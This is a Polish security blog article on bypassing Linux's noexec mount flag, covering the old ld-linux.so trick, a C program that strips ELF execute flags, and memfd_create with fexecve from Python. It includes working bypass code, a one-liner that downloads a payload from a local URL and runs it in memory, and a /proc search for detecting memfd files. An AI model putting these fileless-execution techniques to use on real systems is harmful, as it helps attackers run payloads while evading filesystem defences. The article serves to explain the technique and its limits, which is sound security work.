Obchodzenie flagi montowania noexec za pomocą memfd
Napisał: Patryk Krawaczyński
07/12/2019 w Bezpieczeństwo Brak komentarzy. (artykuł nr 711, ilość słów: 952)
W
historii rozwoju Linuksa znalazło się kilka sposobów na obejście ograniczeń montowania przez atakującego. Najprostszy był możliwy w Linuksie przed 2.4.25 / 2.6.0, gdzie opcję noexec
można było ominąć używając /lib/ld-linux.so do wykonywania plików binarnych znajdujących się w ścieżkach takich systemów plików:
# mount /dev/sda1 /zip -o noexec $ /zip/hello $ /lib/ld-linux.so.2 /zip/hello Hello, Moto!
Na pierwszy rzut oka można pomyśleć, że aby temu zaradzić wystarczy uczynić ld-config.so niemożliwym do wykonania (chmod -x /lib/ld-linux.so.2
), ale spowodowałoby to, że wszystkie dynamicznie połączone pliki binarne były by niewykonalne. Mając świadomość, że prawie wszystkie programy, na których opiera się Linux, nie są połączone statycznie to opcja noexec
wówczas była mało przydatna w Linuksie. W późniejszych jądrach (2.6.21 / 3.11) było to trudniejsze, ale nie niewykonalne. Wystarczyło użyć pośredniego programu o nazwie fixelf, który usuwał flagę PF_X (segment wykonalności) z nagłówków programów ELF:
/* fixelf.c - defeat noexec mount option */ #include <elf.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/stat.h> char *program; void err(char *s) { perror(s); exit(1); } void err1(char *s) { fprintf(stderr, "%s\n", s); exit(1); } int main(int argc, char **argv) { int fd, n, i; Elf32_Ehdr *eh; Elf32_Phdr *ph; struct stat s; if (argc != 2) err1("call: fixelf prog\n"); fd = open(argv[1], O_RDONLY); if (fd < 0) err(argv[1]); if (fstat(fd, &s) < 0) err("stat"); if ((program = malloc(s.st_size)) == NULL) err1("Out of memory"); n = read(fd, program, s.st_size); if (n != s.st_size) err("read"); eh = (Elf32_Ehdr *) program; if (eh->e_ident[EI_MAG0] != ELFMAG0 || eh->e_ident[EI_MAG1] != ELFMAG1 || eh->e_ident[EI_MAG2] != ELFMAG2 || eh->e_ident[EI_MAG3] != ELFMAG3) err1("bad ELF magic\n"); for (i=0; i<eh->e_phnum; i++) { ph = (Elf32_Phdr *)(program + eh->e_phoff + i*eh->e_phentsize); ph->p_flags &= ~PF_X; } fd = open("fixelf.out", O_WRONLY | O_CREAT, 0777); if (fd < 0) err("fixelf.out"); if (write(fd, program, n) != n) err("write"); return 0; }
gcc fixelf.c -o fixelf
$ /lib/ld-linux.so.2 /zip/hello /zip/hello: error while loading shared libraries: /zip/hello: failed to map segment from shared object: Operation not permitted $ ./fixelf /zip/hello $ /lib/ld-linux.so.2 /zip/fixelf.out Hello, Moto!
Jak jest dzisiaj? Jako przykład posłuży nam wcześniej użyty, prosty program “Hello, Moto!”, który postaramy uruchomić na Ubuntu 18.04 LTS (4.15.0-70-generic) i systemie plików /tmp z dodaną flagą noexec.
#include <stdio.h> int main() { /* I am C developer */ printf("Hello, Moto! \n"); return ; }
gcc hello.c -o /tmp/hello
Sprawdźmy opcję montowania dla systemu plików w /tmp:
agresor@darkstar:/tmp$ mount | grep '/tmp' tmpfs on /tmp type tmpfs (rw,noexec,relatime)
Zgodnie z ustawieniem nasz użytkownik nie powinien mieć możliwości uruchomienia programu hello w tej lokalizacji:
agresor@agresor:/tmp$ ls -al hello -rwxr-xr-x 1 agresor agresor 8304 Dec 6 20:17 hello agresor@agresor:/tmp$ ./hello -bash: ./hello: Permission denied
Wprowadźmy teraz do gry mały skrypt napisany w języku python, który za pomocą ctypes oraz memfd_create (syscall 319) mimo flagi montowania noexec wykona nasz program:
agresor@agresor:/tmp$ cat << EOF >> noexec.py > from ctypes import * > c = CDLL("libc.so.6") > fd = c.syscall(319,"tempmem",0) > c.sendfile(fd,0,0,0x7ffff000) > c.fexecve(fd,byref(c_char_p()),byref(c_char_p())) > print("fexecve failed") > EOF agresor@agresor:/tmp$ python3 noexec.py < hello Hello, Moto!
Dlaczego tak prosty skrypt w języku python był w stanie ominąć flagę systemu plików? Otóż wywołanie systemowe memfd_create(2)
dodane w wersji jądra 3.17 alokuje nowy tymczasowy system plików w pamięci RAM z standardowymi prawami dostępu tworząc wewnątrz plik, który nie pojawia się w żadnym podłączonym systemie plików oprócz /proc. Drugie wywołanie systemowe fexecve(3) dostępne od glibc 2.3.2 może za pomocą deskryptora przekazać plik do jądra w celu jego wykonania. Tak utworzony plik można łatwo znaleźć np. za pomocą polecenia find
, ponieważ wszystkie pliki memfd_create
są reprezentowane jako dowiązania symboliczne ze stałym prefiksem memfd. Przykład:
#!/usr/bin/python3 import ctypes import ctypes.util import time libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c')) fd = libc.syscall(319,b'agresor', 1) assert fd >= 0 time.sleep(600)
W pierwszy oknie terminala uruchamiamy nasz skrypt:
chmod +x findme.py ./findme.py
A w drugim przeszukujemy /proc względem frazy /memfd w linku symbolicznym:
agresor@agresor:~$ find /proc/*/fd -lname '/memfd:*' 2> /dev/null /proc/1506/fd/3 agresor@agresor:~$ ls -al /proc/1506/fd total 0 dr-x------ 2 agresor agresor 0 Dec 7 14:12 . dr-xr-xr-x 9 agresor agresor 0 Dec 7 14:12 .. lrwx------ 1 agresor agresor 64 Dec 7 14:12 0 -> /dev/pts/1 lrwx------ 1 agresor agresor 64 Dec 7 14:12 1 -> /dev/pts/1 lrwx------ 1 agresor agresor 64 Dec 7 14:12 2 -> /dev/pts/1 lrwx------ 1 agresor agresor 64 Dec 7 14:12 3 -> '/memfd:agresor (deleted)' agresor@agresor:~$ cat /proc/1506/cmdline python3findme.py
Czyli za pomocą tej metody jesteśmy w stanie stworzyć jednolinijkowy skrypt, który uruchomi proces bez dotykania systemu plików systemu i ominie flagę noexec
:
python3 -c 'import ctypes,ctypes.util,os,requests; \ libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c")); \ fd = libc.syscall(319,b"agresor",1); \ f2=open("/proc/self/fd/"+str(fd),"wb"); \ f2.write(requests.get("http://127.0.0.1:8000/exploit").content); \ f2.close();os.execv("/proc/self/fd/"+str(fd), [""])'
Zatem, czy flaga noexec
ma w ogóle sens? Oczywiście. Nie jest to lekarstwo absolutne, ale używając flag montowania dla partycji i systemów plików możemy łatwo ograniczyć lub utrudnić potencjalne ataki opierające się na uruchamianiu prostych skryptów pobierających właściwy payload, które zostały wrzucone na system plików np. poprzez błędy bezpieczeństwa w webaplikacji. Dzisiaj bardzo rzadko można spotkać systemy produkcyjne, które oferują otwarty dostęp do powłok systemowych, a tym bardziej posiadają zainstalowane kompilatory umożliwiające uruchamianie dowolnego kodu. Dlatego najwięcej naruszeń systemu nadchodzi poprzez zewnętrzne aplikacje uruchomione na systemie.
Więcej informacji: Compile C Hello World Program, Python ctypes and memfd_create’ noexec File Security Bypass, Defeating the ‘noexec’ mount option, Executing payload without touching the filesystem (memfd_create syscall), ELF in-memory execution, In-Memory-Only ELF Execution (Without tmpfs)